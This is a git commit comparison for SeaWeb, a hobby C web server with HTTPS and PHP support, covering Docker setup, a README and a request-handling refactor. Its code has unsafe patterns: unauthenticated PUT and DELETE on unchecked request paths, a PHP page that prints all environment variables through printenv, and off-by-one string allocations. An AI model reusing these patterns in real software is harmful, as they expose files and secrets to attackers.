Compare commits
7 Commits
f1ae49da0c
...
master
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
fbe58d57d6 | ||
|
|
3b8405361c | ||
|
|
52f01b6c69 | ||
|
|
fac85bb352 | ||
|
|
de1bac616b | ||
|
|
fc4af96282 | ||
|
|
01507d2734 |
@@ -4,17 +4,19 @@ ENV DEBIAN_FRONTEND=noninteractive
|
|||||||
|
|
||||||
RUN apt-get update && \
|
RUN apt-get update && \
|
||||||
apt-get install \
|
apt-get install \
|
||||||
-y openssl libssl-dev make gcc pkg-config
|
-y openssl libssl-dev make gcc pkg-config php php-cgi
|
||||||
|
|
||||||
COPY Makefile /src/
|
COPY Makefile /src/
|
||||||
COPY src/ /src/src/
|
COPY src/ /src/src/
|
||||||
COPY cmd/ /src/cmd/
|
COPY cmd/ /src/cmd/
|
||||||
COPY include/ /src/include/
|
COPY include/ /src/include/
|
||||||
COPY ca/ /src/ca/
|
COPY ca/ /src/ca/
|
||||||
|
COPY entrypoint.sh /
|
||||||
|
|
||||||
COPY content/ /var/www/html
|
COPY content/ /var/www/html
|
||||||
|
|
||||||
RUN mkdir -p /var/log/seaweb
|
RUN mkdir -p /var/log/seaweb
|
||||||
|
RUN touch /var/log/seaweb/log
|
||||||
|
|
||||||
WORKDIR /src/
|
WORKDIR /src/
|
||||||
|
|
||||||
@@ -25,3 +27,6 @@ RUN printf "y\ny\n" | make genCerts
|
|||||||
|
|
||||||
EXPOSE 8080/tcp
|
EXPOSE 8080/tcp
|
||||||
|
|
||||||
|
CMD ["--verbose"]
|
||||||
|
ENTRYPOINT ["/bin/bash", "/entrypoint.sh"]
|
||||||
|
|
||||||
|
|||||||
5
Makefile
5
Makefile
@@ -40,7 +40,10 @@ dockerBuild: output_dir
|
|||||||
docker build . -t seaweb:latest
|
docker build . -t seaweb:latest
|
||||||
|
|
||||||
dockerTestDeploy: dockerBuild
|
dockerTestDeploy: dockerBuild
|
||||||
docker run -p8080:8080 --rm seaweb:latest seaweb &
|
docker run -p8080:8080 --rm -d seaweb:latest
|
||||||
|
|
||||||
|
dockerReleaseDeploy: dockerBuild
|
||||||
|
docker run -p8080:8080 --rm -d seaweb:latest --cert /src/certs/cert.pem --privkey /src/certs/key.pem --verbose
|
||||||
|
|
||||||
killTestDocker:
|
killTestDocker:
|
||||||
docker stop -t 0 `docker ps | grep "seaweb:latest" | tail -n 1 | tr -s " " | cut -d " " -f 1`
|
docker stop -t 0 `docker ps | grep "seaweb:latest" | tail -n 1 | tr -s " " | cut -d " " -f 1`
|
||||||
|
|||||||
28
README.md
Normal file
28
README.md
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
# SeaWeb
|
||||||
|
|
||||||
|
## Running
|
||||||
|
|
||||||
|
It is recommended to run this application using Docker.
|
||||||
|
For a deployment running the application without HTTPS run `make dockerTestDeploy`, this will open a socket on port 8080.
|
||||||
|
For a deployment running the application with HTTPS run `make dockerReleaseDeploy`, this will also open a socket on port 8080.
|
||||||
|
Running `make killTestDocker` will kill the running instance of seaweb:latest running in Docker.
|
||||||
|
To view logs within the running container run `docker exec -it $(docker ps | grep "seaweb:latest" | grep -o '[^ ]*$') tail -f /var/log/seaweb/log`, or manually view the `/var/log/seaweb/log` file within the container.
|
||||||
|
|
||||||
|
If you run this application without Docker please ensure the OpenSSL development headers are installed onto your system, this will be important if running with HTTPS.
|
||||||
|
|
||||||
|
To build this application outside of Docker run `make`, and the binary will be built into `./bin`.
|
||||||
|
Running `./bin/seaweb --help` or `./bin/seaweb -h` will show you the help message for the application showing all possible options.
|
||||||
|
|
||||||
|
By default the application is compiled to utilize `/var/www/html` as the WEB root, and will output logs to `/var/log/seaweb/log`; if running the application outside of Docker please ensure this is setup with correct permissions to run.
|
||||||
|
|
||||||
|
## Notes
|
||||||
|
|
||||||
|
- All new connections will spawn a child process which is used to deal with the request
|
||||||
|
- If the process takes longer than 5 seconds to resolve the request, the child process will be killed
|
||||||
|
- Running `make genCerts` will generate a root authority and generate certificates to utilize for the web server
|
||||||
|
- Certificate authority related files start with `ca` while the certificates which should be utilized for the web server omit the `ca`
|
||||||
|
- Making a request to the web server which does not match the current protocol (e.g. making a https request when it is server http) will result in the server ignoring the request
|
||||||
|
- Returning an error here is not possible since if we have a none SSL socket created we cannot respond to a SSL request
|
||||||
|
- This will cause a fork of the process to spawn which will be killed in 5 seconds after the timeout is met
|
||||||
|
- If a request to the root directory is made, `/`, it is assumed that the user was trying to navigate to `/index.html` and the request will be treated as such
|
||||||
|
|
||||||
241
cmd/server.c
241
cmd/server.c
@@ -15,16 +15,22 @@
|
|||||||
#include "returnRequest.h"
|
#include "returnRequest.h"
|
||||||
#include "server.h"
|
#include "server.h"
|
||||||
#include "utils.h"
|
#include "utils.h"
|
||||||
|
#include "requestHandlers.h"
|
||||||
|
|
||||||
//#define WEB_ROOT "/var/www/html/"
|
#define WEB_ROOT "/var/www/html/"
|
||||||
#define WEB_ROOT "content/"
|
//#define WEB_ROOT "content/"
|
||||||
#define BUFF_READ 1024
|
#define BUFF_READ 1024
|
||||||
|
|
||||||
static int verbose_flag = 0;
|
static int verbose_flag = 0;
|
||||||
bool enableHTTPS = 0;
|
bool enableHTTPS = 0;
|
||||||
|
char *WEB_ROOT_DIR = NULL;
|
||||||
|
|
||||||
static int timeout = 0;
|
static int timeout = 0;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Used to print debug messages to the screen
|
||||||
|
* when the --verbose flag is passed
|
||||||
|
*/
|
||||||
int printDebug(char message[]) {
|
int printDebug(char message[]) {
|
||||||
if (verbose_flag == 1) {
|
if (verbose_flag == 1) {
|
||||||
printf("[Debug] %s\n", message);
|
printf("[Debug] %s\n", message);
|
||||||
@@ -32,17 +38,30 @@ int printDebug(char message[]) {
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* This function handles incoming requests and stores
|
||||||
|
* the parsed data into the HTTPRequest struct passed
|
||||||
|
* into the function. If any errors are encountered
|
||||||
|
* during this process a negative number will be returned
|
||||||
|
*/
|
||||||
int parseHTTPRequest(unsigned char *buffer, struct HTTPRequest *r) {
|
int parseHTTPRequest(unsigned char *buffer, struct HTTPRequest *r) {
|
||||||
char temp[1]; // Used to check newlines
|
char temp[1]; // Used to check newlines
|
||||||
char *token = calloc(8, sizeof(char));
|
char *token = calloc(8, sizeof(char));
|
||||||
int line = 0;
|
int line = 0;
|
||||||
int contentCheck = 0;
|
int contentCheck = 0;
|
||||||
unsigned char *checkLine = calloc(1000, sizeof(unsigned char));
|
unsigned char *checkLine = calloc(1000, sizeof(unsigned char));
|
||||||
|
size_t checkLineLen = 0;
|
||||||
unsigned char *logLine = malloc(sizeof(unsigned char));
|
unsigned char *logLine = malloc(sizeof(unsigned char));
|
||||||
char * varCheck;
|
char * varCheck;
|
||||||
|
|
||||||
// Creating empty requestBody
|
// Creating empty requestBody
|
||||||
r->requestBody = calloc(8, sizeof(char));
|
// Setting values to 0 helps if variable is not
|
||||||
|
// set and determining that later on in handling
|
||||||
|
r->requestBody = malloc(sizeof(char));
|
||||||
|
r->requestBodyLen = 0;
|
||||||
|
r->requestVars = malloc(sizeof(char));
|
||||||
|
memset(r->requestBody, 0, sizeof(char));
|
||||||
|
memset(r->requestVars, 0, sizeof(char));
|
||||||
|
|
||||||
for (int i = 0; i <= strlen((char *)buffer); i++) {
|
for (int i = 0; i <= strlen((char *)buffer); i++) {
|
||||||
temp[0] = buffer[i];
|
temp[0] = buffer[i];
|
||||||
@@ -56,7 +75,7 @@ int parseHTTPRequest(unsigned char *buffer, struct HTTPRequest *r) {
|
|||||||
// HTTP Request Type
|
// HTTP Request Type
|
||||||
if ((!strcmp(token, "GET")) || (!strcmp(token, "POST")) ||
|
if ((!strcmp(token, "GET")) || (!strcmp(token, "POST")) ||
|
||||||
(!strcmp(token, "PUT")) || (!strcmp(token, "DELETE")) ||
|
(!strcmp(token, "PUT")) || (!strcmp(token, "DELETE")) ||
|
||||||
(!strcmp(token, "CONNECT"))) {
|
(!strcmp(token, "CONNECT")) || (!strcmp(token, "HEAD"))) {
|
||||||
// Grabbing HTTP Request Type
|
// Grabbing HTTP Request Type
|
||||||
r->requestType = malloc(strlen(token));
|
r->requestType = malloc(strlen(token));
|
||||||
strcpy(r->requestType, token);
|
strcpy(r->requestType, token);
|
||||||
@@ -81,11 +100,15 @@ int parseHTTPRequest(unsigned char *buffer, struct HTTPRequest *r) {
|
|||||||
PrintLog(logLine);
|
PrintLog(logLine);
|
||||||
} else { // Gather information on >first line
|
} else { // Gather information on >first line
|
||||||
if (contentCheck) { // Once content check is set to one everything after is part of the body
|
if (contentCheck) { // Once content check is set to one everything after is part of the body
|
||||||
|
printf("Check Line: %s\n", checkLine);
|
||||||
r->requestBody = realloc(r->requestBody,
|
r->requestBody = realloc(r->requestBody,
|
||||||
(strlen((char *)checkLine) + strlen((char *)r->requestBody) + 1));
|
(checkLineLen + r->requestBodyLen + 2));
|
||||||
strcat((char *)r->requestBody, (char *)checkLine);
|
strcat((char *)r->requestBody, (char *)checkLine);
|
||||||
// Adding newline to requestBody
|
// Adding newline to requestBody
|
||||||
sprintf((char *)r->requestBody, "%s\n", r->requestBody);
|
strcat((char *)r->requestBody, "\n");
|
||||||
|
r->requestBodyLen += checkLineLen + 2;
|
||||||
|
printf("Size: %zu\nCheck Size: %zu\n", r->requestBodyLen, checkLineLen);
|
||||||
|
printf("Req:\n%s\n", r->requestBody);
|
||||||
} else { // Information parsing !content
|
} else { // Information parsing !content
|
||||||
if (strlen((char *)checkLine) == 1) { // Looking for blank empty line to end header info
|
if (strlen((char *)checkLine) == 1) { // Looking for blank empty line to end header info
|
||||||
contentCheck = 1;
|
contentCheck = 1;
|
||||||
@@ -96,19 +119,35 @@ int parseHTTPRequest(unsigned char *buffer, struct HTTPRequest *r) {
|
|||||||
token = strtok(NULL, "");
|
token = strtok(NULL, "");
|
||||||
r->requestHost = malloc(strlen(token));
|
r->requestHost = malloc(strlen(token));
|
||||||
strcpy(r->requestHost, token);
|
strcpy(r->requestHost, token);
|
||||||
|
} else if (!strcmp(token, "Content-Type")) {
|
||||||
|
token = strtok(NULL, ":");
|
||||||
|
r->requestConType = malloc(strlen(token));
|
||||||
|
strcpy(r->requestConType, token);
|
||||||
|
} else if (!strcmp(token, "Content-Length")) {
|
||||||
|
token = strtok(NULL, ":");
|
||||||
|
if (token == NULL) {
|
||||||
|
printDebug("Content-length parsing error");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
r->requestConLen = malloc(strlen(token));
|
||||||
|
strcpy(r->requestConLen, token);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (strlen((char *)checkLine) > 0) {
|
if (strlen((char *)checkLine) > 0) {
|
||||||
// Clear checkLine
|
// Clear checkLine
|
||||||
memset(checkLine,0,strlen((char *)checkLine));
|
memset(checkLine,0,strlen((char *)checkLine));
|
||||||
|
checkLineLen = 0;
|
||||||
}
|
}
|
||||||
line++;
|
line++;
|
||||||
} else {
|
} else {
|
||||||
|
// Appending char to checkLine
|
||||||
strcat((char *)checkLine, temp);
|
strcat((char *)checkLine, temp);
|
||||||
|
checkLineLen++;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Return error if request type is not set
|
||||||
if (strlen(r->requestType) == 0) {
|
if (strlen(r->requestType) == 0) {
|
||||||
free(logLine);
|
free(logLine);
|
||||||
free(checkLine);
|
free(checkLine);
|
||||||
@@ -120,156 +159,58 @@ int parseHTTPRequest(unsigned char *buffer, struct HTTPRequest *r) {
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
int handleGetRequest(int socket, struct HTTPRequest *r, SSL *ssl) {
|
/*
|
||||||
char errResponse[256];
|
* This function is the entry point for all new requests; this
|
||||||
char ch;
|
* function will always return 0 regardless of outcome
|
||||||
size_t size = 8;
|
*/
|
||||||
int i = 0;
|
|
||||||
unsigned char *fileContent = calloc(size, sizeof(unsigned char));
|
|
||||||
FILE *fp;
|
|
||||||
char *workingReqDir;
|
|
||||||
// If requesting root directory change to index.html
|
|
||||||
if (!strcmp(r->requestDir, "/")) {
|
|
||||||
workingReqDir = "index.html";
|
|
||||||
} else {
|
|
||||||
workingReqDir = r->requestDir;
|
|
||||||
}
|
|
||||||
char *reqDir = calloc((strlen(WEB_ROOT) + strlen(workingReqDir) + 1), sizeof(char));
|
|
||||||
|
|
||||||
sprintf(reqDir, "%s%s", WEB_ROOT, workingReqDir);
|
|
||||||
|
|
||||||
fp = fopen(reqDir, "r");
|
|
||||||
|
|
||||||
if (fp == NULL) {
|
|
||||||
sprintf(errResponse, "Error opening file: %s", workingReqDir);
|
|
||||||
printDebug(errResponse);
|
|
||||||
return404Request(socket, ssl);
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
|
|
||||||
while((ch = fgetc(fp)) != EOF) {
|
|
||||||
if (i == size) {
|
|
||||||
size *= 2;
|
|
||||||
fileContent = realloc(fileContent, size);
|
|
||||||
}
|
|
||||||
fileContent[i] = ch;
|
|
||||||
i++;
|
|
||||||
}
|
|
||||||
|
|
||||||
return200Request(socket, fileContent, ssl);
|
|
||||||
|
|
||||||
fclose(fp);
|
|
||||||
free(reqDir);
|
|
||||||
free(fileContent);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
int handlePUTRequest(int socket, struct HTTPRequest *r, SSL *ssl) {
|
|
||||||
FILE *fp;
|
|
||||||
char *reqDir;
|
|
||||||
char * workingReqDir;
|
|
||||||
char errResponse[256];
|
|
||||||
|
|
||||||
if (!strcmp(r->requestDir, "/")) {
|
|
||||||
workingReqDir = "index.html";
|
|
||||||
} else {
|
|
||||||
workingReqDir = r->requestDir;
|
|
||||||
}
|
|
||||||
|
|
||||||
reqDir = calloc(strlen(WEB_ROOT) + strlen(workingReqDir), sizeof(char));
|
|
||||||
sprintf(reqDir, "%s%s", WEB_ROOT, workingReqDir);
|
|
||||||
|
|
||||||
fp = fopen(reqDir, "w");
|
|
||||||
if (fp == NULL) {
|
|
||||||
sprintf(errResponse, "Error opening file: %s", workingReqDir);
|
|
||||||
printDebug(errResponse);
|
|
||||||
return return404Request(socket, ssl);
|
|
||||||
}
|
|
||||||
|
|
||||||
fprintf(fp, "%s", r->requestBody);
|
|
||||||
|
|
||||||
free(reqDir);
|
|
||||||
fclose(fp);
|
|
||||||
return return201Request(socket, r->requestBody, ssl);
|
|
||||||
}
|
|
||||||
|
|
||||||
int handleDELETERequest(int socket, struct HTTPRequest *r, SSL *ssl) {
|
|
||||||
char *reqDir;
|
|
||||||
char * workingReqDir;
|
|
||||||
char logLine[256];
|
|
||||||
|
|
||||||
if (!strcmp(r->requestDir, "/")) {
|
|
||||||
workingReqDir = "index.html";
|
|
||||||
} else {
|
|
||||||
workingReqDir = r->requestDir;
|
|
||||||
}
|
|
||||||
|
|
||||||
reqDir = calloc(strlen(WEB_ROOT) + strlen(workingReqDir), sizeof(char));
|
|
||||||
sprintf(reqDir, "%s%s", WEB_ROOT, workingReqDir);
|
|
||||||
|
|
||||||
if (remove(reqDir) == 0) {
|
|
||||||
sprintf(logLine, "Deleted file");
|
|
||||||
free(reqDir);
|
|
||||||
return return200Request(socket, NULL, ssl);
|
|
||||||
} else {
|
|
||||||
printDebug("Failed to delete file");
|
|
||||||
free(reqDir);
|
|
||||||
if (errno == 1) { // Permission denided
|
|
||||||
return return403Request(socket, ssl);
|
|
||||||
} else { // Catch all (likely file != exist)
|
|
||||||
return return404Request(socket, ssl);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
int handlePOSTRequest(int socket, struct HTTPRequest *r, SSL *ssl) {
|
|
||||||
return501Request(socket, ssl);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
int handleRequest(unsigned char buffer[], int socket, SSL *ssl) {
|
int handleRequest(unsigned char buffer[], int socket, SSL *ssl) {
|
||||||
struct HTTPRequest r; // Holds relevant HTTP request information
|
struct HTTPRequest r; // Holds relevant HTTP request information
|
||||||
|
r.requestConLen = malloc(sizeof(char));
|
||||||
|
r.requestConType = NULL;
|
||||||
int checkerr = 0;
|
int checkerr = 0;
|
||||||
|
|
||||||
// Grabbing relevant information out of request
|
// Grabbing relevant information out of request
|
||||||
checkerr = parseHTTPRequest(buffer, &r);
|
checkerr = parseHTTPRequest(buffer, &r);
|
||||||
if (checkerr != 0) { // Checking for HTTP parsing error
|
if (checkerr != 0) { // Checking for HTTP parsing error
|
||||||
|
printDebug("Error parsing...");
|
||||||
if (checkerr == -1) {
|
if (checkerr == -1) {
|
||||||
printDebug("Error reading request, returning empty 500");
|
printDebug("Error reading request, returning empty 500");
|
||||||
return return500Request(socket, ssl);
|
return500Request(socket, ssl);
|
||||||
} else {
|
} else {
|
||||||
printDebug("Error parsing, returning 501");
|
printDebug("Error parsing, returning 501");
|
||||||
return return501Request(socket, ssl);
|
return501Request(socket, ssl);
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
checkerr = checkHTTPVersion(r.requestVersion);
|
checkerr = checkHTTPVersion(r.requestVersion);
|
||||||
if (checkerr != 0) {
|
if (checkerr != 0) {
|
||||||
return return505Request(socket, ssl);
|
return505Request(socket, ssl);
|
||||||
|
} else {
|
||||||
|
if (!strcmp(r.requestType, "GET")) {
|
||||||
|
handleGetRequest(socket, &r, ssl);
|
||||||
|
} else if (!strcmp(r.requestType, "POST")) {
|
||||||
|
handlePOSTRequest(socket, &r, ssl);
|
||||||
|
} else if (!strcmp(r.requestType, "PUT")) {
|
||||||
|
handlePUTRequest(socket, &r, ssl);
|
||||||
|
} else if (!strcmp(r.requestType, "DELETE")) {
|
||||||
|
handleDELETERequest(socket, &r, ssl);
|
||||||
|
} else if (!strcmp(r.requestType, "CONNECT")) {
|
||||||
|
return200Request(socket, NULL, ssl);
|
||||||
|
} else if (!strcmp(r.requestType, "HEAD")) {
|
||||||
|
return200Request(socket, NULL, ssl);
|
||||||
|
} else {
|
||||||
|
return500Request(socket, ssl);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!strcmp(r.requestType, "GET")) {
|
free(r.requestConLen);
|
||||||
handleGetRequest(socket, &r, ssl);
|
return 0;
|
||||||
return 0;
|
|
||||||
} else if (!strcmp(r.requestType, "POST")) {
|
|
||||||
handlePOSTRequest(socket, &r, ssl);
|
|
||||||
return 0;
|
|
||||||
} else if (!strcmp(r.requestType, "PUT")) {
|
|
||||||
handlePUTRequest(socket, &r, ssl);
|
|
||||||
return 0;
|
|
||||||
} else if (!strcmp(r.requestType, "DELETE")) {
|
|
||||||
handleDELETERequest(socket, &r, ssl);
|
|
||||||
return 0;
|
|
||||||
} else if (!strcmp(r.requestType, "CONNECT")) {
|
|
||||||
return200Request(socket, NULL, ssl);
|
|
||||||
return 0;
|
|
||||||
} else {
|
|
||||||
return500Request(socket, ssl);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* This function is used as a signal to kill child processes that
|
||||||
|
* are triggered by the corresponding alarm
|
||||||
|
*/
|
||||||
void timeoutChild(int sig) {
|
void timeoutChild(int sig) {
|
||||||
timeout = 1;
|
timeout = 1;
|
||||||
}
|
}
|
||||||
@@ -295,6 +236,10 @@ int main(int argc, char **argv) {
|
|||||||
size_t bufSize = BUFF_READ;
|
size_t bufSize = BUFF_READ;
|
||||||
unsigned char *buffer = calloc(bufSize, sizeof(unsigned char));
|
unsigned char *buffer = calloc(bufSize, sizeof(unsigned char));
|
||||||
|
|
||||||
|
// Copy WEB_ROOT into extern value
|
||||||
|
WEB_ROOT_DIR = malloc(strlen(WEB_ROOT));
|
||||||
|
strcpy(WEB_ROOT_DIR, WEB_ROOT);
|
||||||
|
|
||||||
// Setting up options
|
// Setting up options
|
||||||
static const struct option long_options[] = {
|
static const struct option long_options[] = {
|
||||||
{"help", no_argument, NULL, 'h'},
|
{"help", no_argument, NULL, 'h'},
|
||||||
@@ -306,6 +251,7 @@ int main(int argc, char **argv) {
|
|||||||
{0, 0, 0, 0}
|
{0, 0, 0, 0}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// Define help message
|
||||||
const char* usage =
|
const char* usage =
|
||||||
"Usage: seaweb [options]\n\n"
|
"Usage: seaweb [options]\n\n"
|
||||||
" -h --help\t\t\tShows this message\n"
|
" -h --help\t\t\tShows this message\n"
|
||||||
@@ -318,6 +264,7 @@ int main(int argc, char **argv) {
|
|||||||
" --verbose\t\t\tPrints debug messages\n"
|
" --verbose\t\t\tPrints debug messages\n"
|
||||||
"\n";
|
"\n";
|
||||||
|
|
||||||
|
// Parsing options
|
||||||
int c;
|
int c;
|
||||||
while (1) {
|
while (1) {
|
||||||
int option_index = 0;
|
int option_index = 0;
|
||||||
@@ -370,14 +317,14 @@ int main(int argc, char **argv) {
|
|||||||
enableHTTPS = 1;
|
enableHTTPS = 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
if ( enableHTTPS == 1 ) {
|
if ( enableHTTPS == 1 ) { // Open secure socket
|
||||||
printf("Opening secure socket on port: %d\n", port);
|
printf("Opening secure socket on port: %d\n", port);
|
||||||
checkerr = createSecureSocket(port, &server_fd, &address, &addrlen, listenAddrNum,
|
checkerr = createSecureSocket(port, &server_fd, &address, &addrlen, listenAddrNum,
|
||||||
&ctx, certFile, privKeyFile);
|
&ctx, certFile, privKeyFile);
|
||||||
if ( ctx == NULL ) {
|
if ( ctx == NULL ) {
|
||||||
printf("Error creating ctx\n");
|
printf("Error creating ctx\n");
|
||||||
}
|
}
|
||||||
} else {
|
} else { // Open socket
|
||||||
printf("Opening socket on port: %d\n", port);
|
printf("Opening socket on port: %d\n", port);
|
||||||
checkerr = createSocket(port, &server_fd, &address, &addrlen, listenAddrNum);
|
checkerr = createSocket(port, &server_fd, &address, &addrlen, listenAddrNum);
|
||||||
}
|
}
|
||||||
@@ -394,16 +341,15 @@ int main(int argc, char **argv) {
|
|||||||
perror("Accept connection error");
|
perror("Accept connection error");
|
||||||
exit(EXIT_FAILURE);
|
exit(EXIT_FAILURE);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Forking process
|
// Forking process
|
||||||
pid_t pid;
|
pid_t pid;
|
||||||
pid = fork();
|
pid = fork();
|
||||||
|
|
||||||
if (pid == 0) {
|
if (pid == 0) { // Child process handles sessions
|
||||||
pid_t pid2;
|
pid_t pid2;
|
||||||
pid2 = fork();
|
pid2 = fork();
|
||||||
|
|
||||||
if (pid2 == 0) {
|
if (pid2 == 0) { // Child child process reads requests and handles return
|
||||||
bufSize = BUFF_READ;
|
bufSize = BUFF_READ;
|
||||||
if ( enableHTTPS ) {
|
if ( enableHTTPS ) {
|
||||||
size_t buffCont = 1;
|
size_t buffCont = 1;
|
||||||
@@ -420,7 +366,7 @@ int main(int argc, char **argv) {
|
|||||||
} while(buffCont == 0);
|
} while(buffCont == 0);
|
||||||
if (strlen((char *)buffer) != 0) {
|
if (strlen((char *)buffer) != 0) {
|
||||||
handleRequest(buffer, new_socket, ssl);
|
handleRequest(buffer, new_socket, ssl);
|
||||||
buffer = calloc(bufSize, sizeof(unsigned char));
|
free(buffer);
|
||||||
} else {
|
} else {
|
||||||
printDebug("Error reading from socket");
|
printDebug("Error reading from socket");
|
||||||
}
|
}
|
||||||
@@ -435,19 +381,19 @@ int main(int argc, char **argv) {
|
|||||||
} while(buffCont == 0);
|
} while(buffCont == 0);
|
||||||
|
|
||||||
handleRequest(buffer, new_socket, NULL);
|
handleRequest(buffer, new_socket, NULL);
|
||||||
buffer = calloc(bufSize, sizeof(unsigned char));
|
free(buffer);
|
||||||
}
|
}
|
||||||
exit(EXIT_SUCCESS);
|
exit(EXIT_SUCCESS);
|
||||||
} else if (pid2 < 0) {
|
} else if (pid2 < 0) {
|
||||||
printDebug("Error forking supervisor...");
|
printDebug("Error forking supervisor...");
|
||||||
} else {
|
} else { // Parent process waits to see if child timeout is triggered
|
||||||
int status;
|
int status;
|
||||||
signal(SIGALRM, timeoutChild);
|
signal(SIGALRM, timeoutChild);
|
||||||
alarm(2);
|
alarm(2);
|
||||||
pause();
|
pause();
|
||||||
if (timeout) {
|
if (timeout) {
|
||||||
status = waitpid(pid, NULL, WNOHANG);
|
status = waitpid(pid, NULL, WNOHANG);
|
||||||
if (status == 0) {
|
if (status == 0) { // If status is not 0 kill child process
|
||||||
printDebug("Killing child");
|
printDebug("Killing child");
|
||||||
kill(pid2, 9);
|
kill(pid2, 9);
|
||||||
wait(NULL);
|
wait(NULL);
|
||||||
@@ -458,17 +404,18 @@ int main(int argc, char **argv) {
|
|||||||
close(new_socket);
|
close(new_socket);
|
||||||
} else if (pid < 0) {
|
} else if (pid < 0) {
|
||||||
printDebug("Error forking...");
|
printDebug("Error forking...");
|
||||||
} else {
|
} else { // Ignore exit status of spawned child (proc is not a zombie)
|
||||||
signal(SIGCHLD, SIG_IGN);
|
signal(SIGCHLD, SIG_IGN);
|
||||||
close(new_socket);
|
close(new_socket);
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
free(privKeyFile);
|
free(privKeyFile);
|
||||||
free(certFile);
|
free(certFile);
|
||||||
free(listenAddr);
|
free(listenAddr);
|
||||||
free(buffer);
|
free(buffer);
|
||||||
|
free(WEB_ROOT_DIR);
|
||||||
close(server_fd);
|
close(server_fd);
|
||||||
exit(EXIT_SUCCESS);
|
exit(EXIT_SUCCESS);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
3
content/helloworld.php
Normal file
3
content/helloworld.php
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
<?php
|
||||||
|
print("Hello World")
|
||||||
|
?>
|
||||||
4
content/vardumpGET.php
Normal file
4
content/vardumpGET.php
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
<?php
|
||||||
|
print("Hello World\n");
|
||||||
|
var_dump($_GET);
|
||||||
|
?>
|
||||||
8
content/vardumpPOST.php
Normal file
8
content/vardumpPOST.php
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
<?php
|
||||||
|
print("Hello World\n");
|
||||||
|
$output=null;
|
||||||
|
var_dump($_POST);
|
||||||
|
exec('printenv', $output);
|
||||||
|
print_r($output);
|
||||||
|
var_dump($HTTP_RAW_POST_DATA);
|
||||||
|
?>
|
||||||
5
entrypoint.sh
Normal file
5
entrypoint.sh
Normal file
@@ -0,0 +1,5 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
set -e
|
||||||
|
|
||||||
|
exec seaweb "$@"
|
||||||
@@ -8,5 +8,9 @@ struct HTTPRequest {
|
|||||||
char *requestHost;
|
char *requestHost;
|
||||||
char *requestDir;
|
char *requestDir;
|
||||||
char *requestVars;
|
char *requestVars;
|
||||||
|
char *requestConType;
|
||||||
|
char *requestConLen;
|
||||||
unsigned char *requestBody;
|
unsigned char *requestBody;
|
||||||
|
size_t requestBodyLen;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|||||||
6
include/requestHandlers.h
Normal file
6
include/requestHandlers.h
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
|
||||||
|
int handleGetRequest(int socket, struct HTTPRequest *r, SSL *ssl);
|
||||||
|
int handlePUTRequest(int socket, struct HTTPRequest *r, SSL *ssl);
|
||||||
|
int handleDELETERequest(int socket, struct HTTPRequest *r, SSL *ssl);
|
||||||
|
int handlePOSTRequest(int socket, struct HTTPRequest *r, SSL *ssl);
|
||||||
|
|
||||||
@@ -9,8 +9,11 @@ int return400Request(int socket, SSL *ssl);
|
|||||||
int return403Request(int socket, SSL *ssl);
|
int return403Request(int socket, SSL *ssl);
|
||||||
int return404Request(int socket, SSL *ssl);
|
int return404Request(int socket, SSL *ssl);
|
||||||
int return411Request(int socket, SSL *ssl);
|
int return411Request(int socket, SSL *ssl);
|
||||||
|
int return418Request(int socket, SSL *ssl);
|
||||||
|
|
||||||
int return500Request(int socket, SSL *ssl);
|
int return500Request(int socket, SSL *ssl);
|
||||||
int return501Request(int socket, SSL *ssl);
|
int return501Request(int socket, SSL *ssl);
|
||||||
int return505Request(int socket, SSL *ssl);
|
int return505Request(int socket, SSL *ssl);
|
||||||
|
|
||||||
|
int returnPHPRequest(int socket, char *content, SSL *ssl);
|
||||||
|
|
||||||
|
|||||||
@@ -1,4 +1,7 @@
|
|||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
|
|
||||||
extern bool enableHTTPS;
|
int printDebug(char message[]);
|
||||||
|
|
||||||
|
extern bool enableHTTPS;
|
||||||
|
extern char *WEB_ROOT_DIR;
|
||||||
|
|
||||||
|
|||||||
@@ -1,3 +1,5 @@
|
|||||||
|
|
||||||
int PrintLog(unsigned char *message);
|
int PrintLog(unsigned char *message);
|
||||||
int checkHTTPVersion(char *version);
|
int checkHTTPVersion(char *version);
|
||||||
|
char *php_cgi(char *sPath, struct HTTPRequest *r);
|
||||||
|
|
||||||
|
|||||||
195
src/requestHandlers.c
Normal file
195
src/requestHandlers.c
Normal file
@@ -0,0 +1,195 @@
|
|||||||
|
//#include <unistd.h>
|
||||||
|
//#include <stdio.h>
|
||||||
|
//#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <openssl/ssl.h>
|
||||||
|
#include <errno.h>
|
||||||
|
|
||||||
|
#include "httpStruct.h"
|
||||||
|
#include "returnRequest.h"
|
||||||
|
#include "server.h"
|
||||||
|
#include "utils.h"
|
||||||
|
|
||||||
|
/*
|
||||||
|
* This funcion handles all GET requests and checks
|
